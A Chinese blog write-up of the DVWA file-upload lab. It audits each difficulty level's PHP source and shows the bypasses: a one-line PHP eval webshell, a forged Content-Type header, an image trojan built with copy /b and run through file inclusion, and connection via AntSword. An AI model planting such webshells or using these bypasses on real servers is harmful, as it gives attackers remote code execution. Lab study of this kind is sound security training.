DVWA-File Upload(文件上传)

文件上传是很危险的漏洞,攻击者上传木马到服务器,可以获取服务器的操作权限

LOW

审计源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义 文件上传位置,这里的 DVWA_WEB_PAGE_TO_ROOT 是作者自定义的一个变量
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 获取上传文件 uploaded 传参中的文件名
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // move_uploaded_file 将文件移动到新位置,成功返回 true
    // !进行取反
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // 如果文件上传失败,经过 ! 取反为 true,文件上传失败
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // 如果文件上传成功,经过 ! 取反为 flase,文件上传成功
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

通过代码设计,没有对上传的文件进行任何过滤,直接上传php文件即可
例如这里上传一句话木马
shell.php

<?php @eval($_POST['cmd']);?>


可以看到文件上传成功,使用两个../../,代表当前目录前两级的目录,那么拼接url就是
上传文件页面:http://127.0.0.1/dvwa/vulnerabilities/upload/
上传文件位置:http://127.0.0.1/dvwa/hackable/uploads/shell.php
使用hacker进行连接测试

命令执行成功

Medium

审计源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义文件上传位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 获取上传文件名
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件名,文件类型,文件大小
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // 通过 文件类型 判断是否为 图片,文件大小需要小于 100000B(字节)大概(97.65625kb)
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // 判断文件是否上传成功
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // 上传失败
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 上传成功
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // 不满足图片的反馈
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

这里检查了文件类型,但是这个文件类型是通过请求头中的Content-Type来判断的
使用burpsuite抓包,上传shell.php

抓包中可以看到,Content-Typeapplication/octet-stream
改为服务器允许的image/jpeg或者image/png

点击Forward,发送进行提交

可以看到文件上传成功

High

审计源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义上传文件位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    // 拼接得到完整的上传路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 获取上传文件名
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    // 使用 substr() 函数进行截取文件名中 . 后面的内容
    // 通过 strrpos() 获取文件最后一次出现的位置, + 1 是因为 substr通过下标取值
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    // 获取上传文件大小
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    // 获取临时上传文件的位置
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // strtolower 将字符串转换为小写,判断后缀名是否为 jpg、jpeg、png ,且文件大小10000B
    // 最后又通过 getimagesize() 函数判断了文件的大小
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 将临时上传文件移动到定义文件的上传位置
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // 文件上传失败
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 文件上传成功
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // 反馈上传不是图片
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

通过strtolower转小写后缀必须是小写php,而且通过getimagesize来判断,所以文件内容必须是图片,文件必须小于100000B
即使如果这里又%00阶段,也无法绕过getimagesize的判断文件内容
这只有最后的选择,上传图片木马
图片木马是无法直接进行进行连接的,需要文件包含,当然除非个别网站将图片解析为php执行

生成图片木马

首先需要生成一个后缀名为jpg、jpeg、png的图片,这里建议使用win10自带的画图工具进行生成
首先准备一个使用画图工具生成一个test.png
然后创建一个shell.php内容为一句话木马

<?php @eval($_POST['cmd']);?>

然后使用命令copy /b test.png+shell.php /a muma.png,将两个文件合并,生成一个muma.png

上传muma.png

可以看到上传成功,现在就是文件包含了,使用同等级的File include包含这个图片木马
http://192.168.31.132/dvwa/vulnerabilities/fi/?page=file://D:/phpstudy_pro/WWW/dvwa/hackable/uploads/muma.png
包含图片后页面一堆图片源文件,并没有执行什么

因为是一句话木马,所以使用蚁剑进行连接

再连接DVWA靶场的时候需要注意,DVWA是需要登录认证的,需要在请求信息中加入我们的cookie值

这个cookie可以从网路中获取

连接成功就可以靶机进行操作了

Impossible

审计源码


<?php
// 判断submit是否提交 Upload
if( isset( $_POST[ 'Upload' ] ) ) {
    // 检查 user_token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // 获取文件名、文件后缀名、文件大小、文件类型、文件临时存储位置
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // 定义文件上传路径
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    // 使用 uniqid() 函数生成一个唯一ID,和后缀名进行拼接,并使用md5进行加密
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    // 这里看不太清楚,和上面是类似的
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // 判断文件后缀名是否为 jpg、jpeg、png,文件大小是否小于 100000B,Content-Type是否为image/jpeg,最后又通过getimagesize判断文件是否为图片
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 如果文件类型是 image/jpeg,使用imagecreatefromjpeg()对图片进行处理
        // imagecreatefromjpeg()根据原图片创建一个新图片
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            // 将处理后的内容输出到上传的临时文件
            imagejpeg( $img, $temp_file, 100);
        }
        // 不是一个图片,也会对文件进行新建图片处理
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            // 将处理后的内容输出到上传的临时文件
            imagepng( $img, $temp_file, 9);
        }
        // 释放处理时占用的内容
        imagedestroy( $img );

        // getcwd()获取当前工作目录
        // rename()重命名,类似于移动
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // 移动成功
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // 移动失败
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // 删除临时文件
        // file_exists()检测文件是否存在
        // unlink()删除文件
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // 返回错误信息
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// 生成user_token
generateSessionToken();

?>

对上传文件的名称生成了一个唯一ID并使用md5加密,然后对上传文件进行二次渲染。

posted @ 2022-05-24 13:41  Junglezt  阅读(251)  评论(0编辑  收藏  举报